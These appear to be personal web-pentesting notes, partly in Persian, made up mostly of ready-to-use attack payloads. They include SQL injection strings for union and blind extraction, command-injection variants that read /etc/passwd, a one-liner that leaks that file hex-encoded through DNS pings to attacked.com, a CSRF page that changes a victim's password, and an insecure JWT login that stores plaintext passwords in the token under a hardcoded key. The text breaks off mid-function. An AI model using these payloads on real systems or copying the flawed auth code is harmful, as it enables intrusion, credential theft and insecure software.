https://site.com?news=22

select * from news where news_id = $newsid ; 

select * from news where news_id = '$newsid' ;

select * from news where news_id =" $newsid " ;

با order by میشه تعداد column های یک database رو استخراج کرد.

Default request:
page/?id=54

Test 1 : 
page/?id=54 order by 1 
page/?id=54' order by 1 #
page/?id=54" order by 1 #

Test 2 : 
page/?id=54 order by 1000
page/?id=54' order by 1000#
page/?id=54" order by 1000#

page/?id=54 order by 1 # same as default request 

page/?id=54 order by 2 # same as default request

page/?id=54 order by 3 # same as default request

page/?id=54 order by 4 # not same as Default

page/?id=54 union select 1,2,3 #

page/?id=54 union select 1,2,database()#

page/?id=54 UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_database_name' --

UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'your_table_name' AND table_schema = 'your_database_name' --

UNION SELECT your_column_name FROM your_table_name LIMIT 1 OFFSET 0 --

Default request:
page/?id=54

Test 1 : 
page/?id=54 order by 1 
page/?id=54' order by 1 #
page/?id=54" order by 1 #

Test 2 : 
page/?id=54 order by 1000
page/?id=54' order by 1000#
page/?id=54" order by 1000#

page/?id=54 order by 1 # same as default request 

page/?id=54 order by 2 # same as default request

page/?id=54 order by 3 # same as default request

page/?id=54 order by 4 # not same as Default

page/?id=54 union select 1,2,database()--

page/?id=45 union select 1,2,3 where  1=IF( (SELECT LENGTH(DATABASE()))>1,1,2)--- # True condition 

page/?id=45 union select 1,2,3 where  1=IF( (SELECT LENGTH(DATABASE()))>2,1,2)--- # True condition 

page/?id=45 union select 1,2,3 where  1=IF( (SELECT LENGTH(DATABASE()))>3,1,2)--- # True condition 

page/?id=45 union select 1,2,3 where  1=IF( (SELECT LENGTH(DATABASE()))>4,1,2)--- # True condition 

page/?id=54 union select 1,2,3 where database() like 's%';--
# True condition

page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name = 'users') =  1,1,0)-- #true 
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name = 'users') =  2,1,0)-- #true 
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name = 'users') =  3,1,0)-- #true 
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name = 'users') =  4,1,0)-- #false 

page/?id=54 union select 1,2,3 where 1=IF (SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables WHERE table_name = 'users') = 'u',1,0) -- #true

page/?id=54 union select 1,2,3 where 1=IF (SELECT SUBSTRING(table_name, 2, 1) FROM information_schema.tables WHERE table_name = 'users') = 's',1,0) -- #true

page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name = 'users' AND column_name = 'username') > 2,1,0) --#true 

page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name = 'users' AND column_name = 'username') > 3,1,0) --#false

page/?id=54 UNION SELECT 1, IF((SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name = 'users' AND column_name = 'username') > 3, SLEEP(5), 0) --

; cat /etc/passwd 
&& cat /etc/passwd
| cat /etc/passwd
|| cat /etc/passwd
` cat /etc/passwd
$(cat /etc/passwd)
{cat ,/etc/passwd}
cat$IFS/etc/passwd
cat ${HOME:0:1}etc${HOME:0:1}passwd

فقط باید تویه ping دیتا به صورت هگزدسیمال ارسال بشه مثلا معادل Hello در هگزدسیمال میشه ( 48656c6c6f ) .

 cat /etc/passwd | od -A n -t x1 | sed 's/ *//g' | while read exfil ; do ping -c 1 $exfil.attacked.com ; done

 
echo "result command" | xxd -r -p

شاید بشه یه راه دومی برای blind ها گف و اون هم آپلود یک کد آسیب پذیر رویه سرور .
چون معمولا سرور ها یک مسیر static برای ذخیره فایل هاشون دارن
( /var/www/path_name)
که اگه آسیب پذیری داشته باشه ما میتونیم اون command خودمون رو با استفاده از یه زبان برنامه نویسی ( php , python ) بزنیم و آپلود کنیم که این میشه ( RCE( remote code execut

    <script>
        function testCSRF(){
            const url = 'https://site.com/change_pass'
            const xml = new XMLHttpRequest() ; 
            xml.onreadystatechange = function(){
                if (xml.status == 200 && xml.readyState == 4) { 
                    console.log('[+] password changed ...')
                }
            }
            
            xml.open('POST' , url);
            xml.setRequestHeader = ("Content-Type" , "application/x-www-form-unlencoded")
            xml.withCredentials = true ; 
            xml.send("password=hacked")
        }
           
    </script>

POST , GET 
or content types : 
text/plain
multipart/form-data
application/x-www-form-urlencoded

    <script>
        let currentPassword = "password"; 
        function checkOldPassword() {
            const enteredOldPassword = document.getElementById("oldPassword").value;
            if (enteredOldPassword !== currentPassword) {
                alert("[+]The password is incorrect.");
                return;
            }
            else { 
                const newPassword = document.getElementById("newPassword").value;
                currentPassword = newPassword;
            }
        }
    </script>

const jwt = require('jsonwebtoken');

router.post('/login', async (req, res) => {
    const { email, password } = req.body;
    const secretKey = 'your_secret_key';

    try {
        const user = await userModel.findOne({ where: { email } });

        if (user) {

            // The comparison of the entered password with the stored password.
            if (user.password === password) {
                const payload = {
                    "id": user.id, 
                    "email": user.email,
                    "password": user.password
                };
                const token = jwt.sign(payload, secretKey, {
                    expiresIn: '3h',
                    algorithm: 'RS256'
                });
                res.cookie('token', token, {
                    sameSite: 'strict',
                    httpOnly: true, 
                    path: '/', 
                    maxAge: 1 * 60 * 60 * 1000
                });
                
                return res.redirect('/user/profile');